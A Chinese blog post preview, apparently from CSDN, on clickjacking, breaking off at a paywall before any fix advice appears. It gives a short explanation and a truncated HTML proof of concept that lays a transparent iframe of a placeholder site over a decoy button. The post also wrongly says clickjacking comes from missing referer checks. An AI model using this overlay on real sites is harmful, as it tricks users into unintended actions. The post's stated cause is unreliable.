点击劫持漏洞原理及利用包含修复建议

小韩韩啊

已于 2022-05-04 08:06:52 修改

阅读量3.7k

点赞数

分类专栏： web漏洞文章标签：安全 web安全前端

于 2022-01-12 14:17:49 首次发布

本文链接：https://blog.csdn.net/wuguojiuai/article/details/122452531

版权

web漏洞专栏收录该内容

33 篇文章 4 订阅 ¥99.90 ¥99.00

订阅专栏

超级会员免费看

今天群里有人问如何查看是否存在点击劫持漏洞，我们首先了解下漏洞是如何产生的，点击劫持漏洞是因为网站未对referer来源进行验证导致的。

具体测试及利用的话我们可以用iframe制作一个透明标签在上面：

案例：

<!DOCTYPE HTML>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<head>
<title>点击劫持</title>
<style>
     html,body,iframe{
         display: block;
          height: 100%;
          width: 100%;
          margin: 0;
          padding: 0;
          border:none;
     }
     iframe{
          opacity:0;
          filter:alpha(opacity=0);
          position:absolute;
          z-index:2;
     }
     button{
          position:absolute;
          top: 315px;
          left: 462px;
          z-index: 1;
          width: 72px;
          height: 26px;
     }
</style>
</head>
     <body>
          <button>查看详情</button>
          <iframe src="http://xxxx"></iframe>
     </

了解本专栏

超级会员免费看

小韩韩啊

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
打赏
0
评论
点击劫持漏洞原理及利用包含修复建议

今天群里有人问如何查看是否存在点击劫持漏洞，我们首先了解下漏洞是如何产生的，点击劫持漏洞是因为网站未对referer来源进行验证导致的。具体测试及利用的话我们可以用iframe制作一个透明标签在上面：案例：<!DOCTYPE HTML><html><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><head><title>点击劫持<
复制链接

扫一扫